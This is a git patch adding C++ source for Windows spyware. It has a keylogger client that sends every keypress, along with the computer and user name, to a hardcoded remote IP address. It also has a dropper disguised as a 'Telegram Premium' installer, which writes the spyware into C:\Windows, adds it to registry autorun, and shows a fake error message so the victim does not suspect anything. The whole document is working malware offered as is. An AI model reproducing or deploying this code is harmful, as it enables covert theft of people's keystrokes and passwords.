From 4183f809713096db791660ecb2f428106a2bbef3 Mon Sep 17 00:00:00 2001 From: dubininvyu Date: Sun, 12 Feb 2023 00:14:48 +0300 Subject: [PATCH] Initial commit --- Client/main.cpp | 300 +++++++++++++++++++++++++++++++++++++++++++ Client/main.h | 11 ++ Fake/main.cpp | 95 ++++++++++++++ Fake/resource.h | 16 +++ Sources/Telegram.ico | Bin 0 -> 9662 bytes 5 files changed, 422 insertions(+) create mode 100644 Client/main.cpp create mode 100644 Client/main.h create mode 100644 Fake/main.cpp create mode 100644 Fake/resource.h create mode 100644 Sources/Telegram.ico diff --git a/Client/main.cpp b/Client/main.cpp new file mode 100644 index 0000000..1802757 --- /dev/null +++ b/Client/main.cpp @@ -0,0 +1,300 @@ +#pragma comment(lib, "ws2_32.lib") +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma warning(disable: 4996) + +#include "main.h" + +std::map BUTTON_CODES = { +// {0x01, "LMB"}, // левая кнопка мыши +// {0x02, "RMB"}, // правая кнопка мыши +// {0x03, "CTRL+Break"}, // комбинация CTRL + Break +// {0x04, "MMB"}, // средняя кнопка мыши + {0x08, "BackSpace"}, // кнопка возврата на одну позицию + {0x09, "TAB"}, + {0x0D, "Enter"}, + {0x10, "SHIFT_ADV"}, // вспомогательная клавиша Shift + {0x11, "CTRL"}, + {0x12, "ALT"}, +// {0x13, "PAUSE"}, + {0x14, "Caps Lock"}, + {0x1B, "ESC"}, + {0x20, "Space"}, // пробел + {0x21, "Page Up"}, + {0x22, "Page Down"}, + {0x23, "END"}, + {0x24, "HOME"}, + {0x25, "Left arrow"}, // стрелка влево + {0x26, "Up arrow"}, // стрелка вверх + {0x27, "Right arrow"}, // стрелка вправо + {0x28, "Down arrow"}, // стрелка вниз +// {0x2C, "Print Screen"}, + {0x2D, "Insert"}, + {0x2E, "Delete"}, + {0x2F, "HELP"}, + {0x30, "0"}, + {0x31, "1"}, + {0x32, "2"}, + {0x33, "3"}, + {0x34, "4"}, + {0x35, "5"}, + {0x36, "6"}, + {0x37, "7"}, + {0x38, "8"}, + {0x39, "9"}, + + {0x41, "A"}, + {0x42, "B"}, + {0x43, "C"}, + {0x44, "D"}, + {0x45, "E"}, + {0x46, "F"}, + {0x47, "G"}, + {0x48, "H"}, + {0x49, "I"}, + {0x4A, "J"}, + {0x4B, "K"}, + {0x4C, "L"}, + {0x4D, "M"}, + {0x4E, "N"}, + {0x4F, "O"}, + {0x50, "P"}, + {0x51, "Q"}, + {0x52, "R"}, + {0x53, "S"}, + {0x54, "T"}, + {0x55, "U"}, + {0x56, "V"}, + {0x57, "W"}, + {0x58, "X"}, + {0x59, "Y"}, + {0x5A, "Z"}, + + {0x5B, "Left Windows"}, + {0x5C, "Right Windows"}, + + {0x60, "NumPad 0"}, + {0x61, "NumPad 1"}, + {0x62, "NumPad 2"}, + {0x63, "NumPad 3"}, + {0x64, "NumPad 4"}, + {0x65, "NumPad 5"}, + {0x66, "NumPad 6"}, + {0x67, "NumPad 7"}, + {0x68, "NumPad 8"}, + {0x69, "NumPad 9"}, + + {0x6A, "*"}, + {0x6B, "+"}, + {0x6C, "\\"}, + {0x6D, "-"}, + {0x6E, "."}, + {0x6F, "/"}, + + {0x70, "F1"}, + {0x71, "F2"}, + {0x72, "F3"}, + {0x73, "F4"}, + {0x74, "F5"}, + {0x75, "F6"}, + {0x76, "F7"}, + {0x77, "F8"}, + {0x78, "F9"}, + {0x79, "F10"}, + {0x7A, "F11"}, + {0x7B, "F12"}, + + {0x90, "Num Lock"}, +// {0x91, "Scroll Lock"}, + + {0xA0, "Left Shift"}, + {0xA1, "Right Shift"}, + + {0xA2, "Left CTRL"}, + {0xA3, "Right CTRL"}, +}; + +struct TCPIPPacket { + + uint8_t typeID; // идентификатор типа пакета + uint32_t size; // размер всего пакета в байтах + uint32_t time; // временная метка пакета + uint32_t crc32; // контрольная сумма пакета + + uint32_t pcNameSize; // количество байтов в имени компьютера + std::string pcName; // имя компьютера + + uint32_t userNameSize; // количество байтов в имени пользователя + std::string userName; // имя пользователя + + uint32_t keyNameSize; // количество байтов в имени нажатой клавиши + std::string keyName; // имя нажатой клавиши + + TCPIPPacket() : + typeID(0xAA), size(0), time(0), crc32(0), + pcNameSize(0), pcName(""), userNameSize(0), + userName(""), keyNameSize(0), keyName("") + { + + } +}; + +bytes_vector packetToBytes(const TCPIPPacket& rPacket); // метод преобразования пакета в вектор + +uint32_t calculateCrc32(bytes_vector& vBytes); // функция расчета контрольной суммы пакета +void sendPacket(SOCKET& socket, bytes_vector& vBytes); // функция отправки пакета + +void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // обработчик клавиш + +int WINAPI wWinMain( + _In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, + _In_ LPWSTR lpCmdLine, + _In_ int nShowCmd +) { + + TCPIPPacket packet; // пакет для отправки + + TCHAR pcName[SHRT_MAX]; + DWORD pcNameSize = SHRT_MAX; + + TCHAR userName[SHRT_MAX]; + DWORD userNameSize = SHRT_MAX; + + /* получаем имя компьютера */ + + while (!GetComputerName(pcName, &pcNameSize)); // пока не удается получить имя компьютера, будем висеть в бесконечном цикле + packet.pcName = pcName; // сохраним имя компьютера в пакете + packet.pcNameSize = packet.pcName.length(); // запишем длину имени компьютера + + /* получаем имя пользователя */ + + while (!GetUserName(userName, &userNameSize)); // пока не удастся получить имя пользователя, будем висеть в бесконечном цикле + packet.userName = userName; // сохраним имя пользователя в пакете + packet.userNameSize = packet.userName.length(); // запишем длину имени пользователя + + /* подключаемся к серверу */ + + WSADATA wsaData; + const auto dllVersion = MAKEWORD(2, 1); + + while (WSAStartup(dllVersion, &wsaData) != 0); // пытаемся подкючить библиотеку с сокетами бесконечно + + SOCKADDR_IN socketAddress; + socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP-адрес сервер + socketAddress.sin_port = htons(51043); // порт, через который подключаемся к серверу + socketAddress.sin_family = AF_INET; + + SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // создаем сокет + while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // бесконечно пытаемся подключиться к серверу + + /* Отслеживаем нажатие клавиш */ + + while (true) { + processKeyboard(connection, packet); + } + + return 0; +} + +void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket) { + for (const auto& mRow : BUTTON_CODES) { + + const auto keyID = mRow.first; // получаем идентификатор клавиши + + if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // если рассматриваемая клавиша не нажата + continue; // ищем дальше + } + + rPacket.time = (uint32_t)std::time(nullptr); // запишем UNIX-время + + rPacket.keyName = mRow.second; // запишем имя клавиши + rPacket.keyNameSize = mRow.second.length(); // запишем длину имени клавиши в байтах + + rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // обновляем размер пакета + return (0 + + sizeof(rPacket.typeID) // поле для хранения идентификатора пакета + + sizeof(rPacket.size) // поле под хранение длины пакета + + sizeof(rPacket.time) // поле под хранение временной метки + + sizeof(rPacket.crc32) // поле под хранение контрольной суммы пакета + + rPacket.pcName.length() // добавляем длину имени компьютера + + sizeof(rPacket.pcNameSize) // добавляем поле под хранение длины имени компьютера + + rPacket.userName.length() // добавляем длину имени пользователя + + sizeof(rPacket.userNameSize) // добавляем поле под хранение длины имени пользователя + + rPacket.keyName.length() // добавляем длину имени нажатой клавиши + + sizeof(rPacket.keyNameSize) // добавляем поле под хранение длины имени нажатой клавиши + ); + }(rPacket); + + bytes_vector vBytes = packetToBytes(rPacket); // преобразуем пакет в вектор байтов + rPacket.crc32 = calculateCrc32(vBytes); // записываем контрольную сумму пакета + + sendPacket(socket, vBytes); // отправляем пакет + + Sleep(100); // 10 мс отдыхаем + } + + Sleep(10); // 10 мс отдыхаем +} + +uint32_t calculateCrc32(bytes_vector& vBytes) { + uint32_t value, crc = 0xFF'FF'FF'FF; + + for (const auto byte : vBytes) { + value = (crc ^ byte) & 0xFF; + + for (auto i = 0; i < CHAR_BIT; i++) { + value = (value & 0x1) ? ((value >> 1) ^ 0xED'B8'83'20) : (value >> 1); + } + + crc = value ^ crc >> CHAR_BIT; + } + + return crc ^ 0xFF'FF'FF'FF; +} + +void sendPacket(SOCKET& socket, bytes_vector& vBytes) { + + const auto size = vBytes.size(); + char* message = new char[size + 1]; + uint32_t i = 0; + + for (const auto byte : vBytes) { // копируем байты из вектора в массив + message[i++] = byte; + } + + send(socket, message, size, NULL); // отправляем сообщение по TCP/IP + + delete[] message; // удаляем массив +} + +template <> +void pushValue(bytes_vector& vBytes, const std::string& value) { + vBytes.insert(vBytes.end(), value.begin(), value.end()); +} + + +bytes_vector packetToBytes(const TCPIPPacket& rPacket) { + bytes_vector vBytes; + + pushValue(vBytes, rPacket.typeID); // тип пакета + pushValue(vBytes, rPacket.size); // размер пакета + pushValue(vBytes, rPacket.time); // временная метка + pushValue(vBytes, rPacket.crc32); // контрольная сумма + pushValue(vBytes, rPacket.pcNameSize); // количество байтов имени компьютера + pushValue(vBytes, rPacket.pcName); // имя компьютера + pushValue(vBytes, rPacket.userNameSize); // количество байтов имени пользователя + pushValue(vBytes, rPacket.userName); // имя пользователя + pushValue(vBytes, rPacket.keyNameSize); // количество байтов имени клавиши + pushValue(vBytes, rPacket.keyName); // имя клавиши + + return vBytes; +} \ No newline at end of file diff --git a/Client/main.h b/Client/main.h new file mode 100644 index 0000000..5cf6910 --- /dev/null +++ b/Client/main.h @@ -0,0 +1,11 @@ +#pragma once + +typedef std::vector bytes_vector; + +template +void pushValue(bytes_vector& vBytes, const T& value) { + for (int i = sizeof(value) - 1; i >= 0; i--) { + const unsigned char byte = (value >> (i * CHAR_BIT)) & 0xFF; + vBytes.push_back(byte); + } +} \ No newline at end of file diff --git a/Fake/main.cpp b/Fake/main.cpp new file mode 100644 index 0000000..7bdedbd --- /dev/null +++ b/Fake/main.cpp @@ -0,0 +1,95 @@ +#include +#include +#include + +int WINAPI wWinMain( + _In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, + _In_ LPWSTR lpCmdLine, + _In_ int nShowCmd +) { + + const char SRC_PROGRAM_PATH[] = "tglib.dll"; + const char DST_PROGRAM_PATH[] = "C:\\Windows\\wingui.exe"; + + /* + В каталоге с .exe файлом лежит файл якобы библиотек tglib.dll. + На самом деле этот файл содержит байты клиентской части шпионского ПО. + Нужно вытащить все байты из этого файла, записать их в C:\Windows\wingui.exe + А потом добавить файл C:\Windows\wingui.exe в автозагрузку + */ + + std::ifstream srcFile(SRC_PROGRAM_PATH, std::ios::binary); + if (!srcFile.is_open()) { // если файл куда-то пропал + const auto TITLE = "Ошибка инициализации"; + const auto MESSAGE = "К сожалению, установщик Telegram Premium не может обнаружить файл библиотек tglib.dll."; + MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке + return 1; // завершаем с ошибкой + } + + /* читаем .dll файл */ + + std::vector spywareBytes; // в вектор будем помещать байты шпионской программы + while (!srcFile.eof()) { // пока есть, что читать, будем читать + char byte; + srcFile.read(&byte, sizeof byte); // считываем байт + spywareBytes.push_back(byte); // добавляем байт в вектор + } + + srcFile.close(); // закрываем файл + + /* за диске C: создаем .exe файл */ + + std::ofstream dstFile(DST_PROGRAM_PATH, std::ios::binary | std::ios::trunc); + if (!dstFile.is_open()) { + const auto TITLE = "Ошибка установки"; + const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000001."; + MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке + return 1; // завершаем с ошибкой + } + + for (const auto byte : spywareBytes) { // переносим байты из .dll в .exe + dstFile << byte; + } + + dstFile.close(); // закрываем файл + + /* Добавляем wingui.exe в автозагрузку */ + + HKEY hKey; + char szPath[MAX_PATH]; + const DWORD size = GetModuleFileName(NULL, szPath, MAX_PATH); + if (!(size > 0 && size < MAX_PATH)) { + const auto TITLE = "Ошибка установки"; + const auto MESSAGE = "К сожалению произошла ошибка в процессе установки Telegram Premium. Ошибка #08000002."; + MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); // выведем окошко с сообщением об ошибке + return 1; // завершаем с ошибкой + } + + RegCreateKeyEx(HKEY_LOCAL_MACHINE, // создаем ключ в реестре + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", + NULL, + 0, + REG_OPTION_NON_VOLATILE, + KEY_SET_VALUE, + NULL, + &hKey, + NULL + ); + + if (hKey) { // если ключ успешно создался, записываем значение + RegSetValueEx(hKey, "Win32GUI", 0, REG_SZ, (unsigned char*) DST_PROGRAM_PATH, sizeof(DST_PROGRAM_PATH)); + RegCloseKey(hKey); + } + + /* + Чтобы пользователь не заподозрил ничего, отобразим ему окошко с ошибкой + Пусть он думает, что эта программа не работает, и спокойно ее удаляет + */ + + const auto TITLE = "Ошибка инициализации"; + const auto MESSAGE = "К сожалению, запуск этой программы невозможен на вашей архитектуре."; + MessageBox(NULL, MESSAGE, TITLE, MB_OK | MB_ICONERROR); + + return 0; +} \ No newline at end of file diff --git a/Fake/resource.h b/Fake/resource.h new file mode 100644 index 0000000..e61821f --- /dev/null +++ b/Fake/resource.h @@ -0,0 +1,16 @@ +//{{NO_DEPENDENCIES}} +// Включаемый файл, созданный в Microsoft Visual C++. +// Используется Fake.rc +// +#define IDI_ICON1 101 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 102 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/Sources/Telegram.ico b/Sources/Telegram.ico new file mode 100644 index 0000000000000000000000000000000000000000..04aa6f44496dc4dfeee162fb638ad23c34a34264 GIT binary patch literal 9662 zcmds7Yitx%6rPr9MFmWhn)t#*h!7LRN0exciH}4RABma}6E*nDm>2=!Ckp;F{s0pF z!O|9_sPzG&qVf`(h+woNA}B&oi|x+#we7as?QYxMJ$~Qp-r1Si$2_)==#bNU=gxh6 z=iGD7J@+h{R)c@bmT7oy)LIv5S_5i}L2OzHszJN)EX)-_|8{Mw)xz6mIcW~s?gqUI zY61NWihz=!Y@S$WTRUhMXcdTK=7MbVb>V%opRSO74XjxMS`1nXIt=Oor9tA6*q38C zmUAotaZZyL9kQB?$2w=Y(U^ZJ+BSnOfV|>$>-P`l+5%ci`J*(c8Xm0kpgte89>lfW z@C5zNxw!_{3e1C32AJy}&=F8jTzx^r%wqoa3Uj#87SHfp ztx9k7?Q=wLnhm*@!o;>(>EHK&jCCIs$)+XoN3(>R>fL!R;AdZABv#WFP-pD11>|?G zLVw70;M-?qgU##&GW3j4aPkkOZ z@*L!vk_xTxdMm)3=nIJXm@#uap<%#II9-xv4g`gy~x&Hp4gOd`*sr;r2HqJCU%U ztXv)Xaa~aS#NO?WKQHITI{54BBzoWpiJ#g8`)rp?vQI|Oe<;0sZU+X{uU=w5yaHPo zs0=*+mA*CHc#(G*7UZq+1Qo_ork6|f(9<|Cn`C0}cO0F`B3$WshYTHGi?i!0(;xCY z@L~_+y+29hy(@tM{1>o!sWY#^n4)}N=t}SITO~cxS%kT$0Wm?U>mXu;2Qgorp%Xk4 zCWg)zb+tBRM!Tiw)1^UlDC3GByfLPU9(+oYfA0}De@J!9@$MS0p~P5j)0^72>Tun&6kZ0Px&Li^;Nm(n9EFxtn!;T6#Biw*gX zMG&`@d4^BC8ASfX?!kU7{L%No2Ss)^z>c4k#M$jaA71XEA7Y=LkCz}0x=E53_Lc0) zy$v^A;x0!e&s?c;dVa^Dzw$MZEwIIot&&vu2;zs~lK5x?v7;{=ed%uy=-K*B44jt8 zu4^D0UpB1rkpb{q_at{F=sV^a@%_lD&G1uaj2PbrGBY8`j?ay|3*(+_I%R&&j15ZP z-sOIEi09Yj#1F=P=Jy13-mM1PRs!!{#E!ovV~C&Coq_hxd!|SH>i$Cf zOF-4#ADvj;-t%#wzT*n%|LS3!DH~8emJTjzt>?Ols7Qva)?GfcbA`@{9$kzF@M;g@T&Z0BxK9O zF-O`7nko5~TbH_R=5ITJ+4?A+@+EWC|C#)`;={s2E$VAP{OzEeJf^Fi7>I?K482!) zOO>h*O8#cUaWlCOT$>m?{eDD#BKDj#d8RH=_ohqUY8~3(3m{YO*552j$zHWN^6K0( z+6`^L@?ClIc>FHEX3kGSZ}=OL-v@J;<58z?<@qp`d%?N6hUp_w_Y2$BpW_|Gb9xJi zF^JmhYD?ngoRj+h2NWab?==Np7%wsZ&KQt!EMxIB$SWW0%P}0g4#fD8bDFZ!9sXTm zsiw5fZ>g&sHt%sNAIY46$}Q1mRGvWHSJ`(th+|F6M%|~LONXY_i>Ap&{68U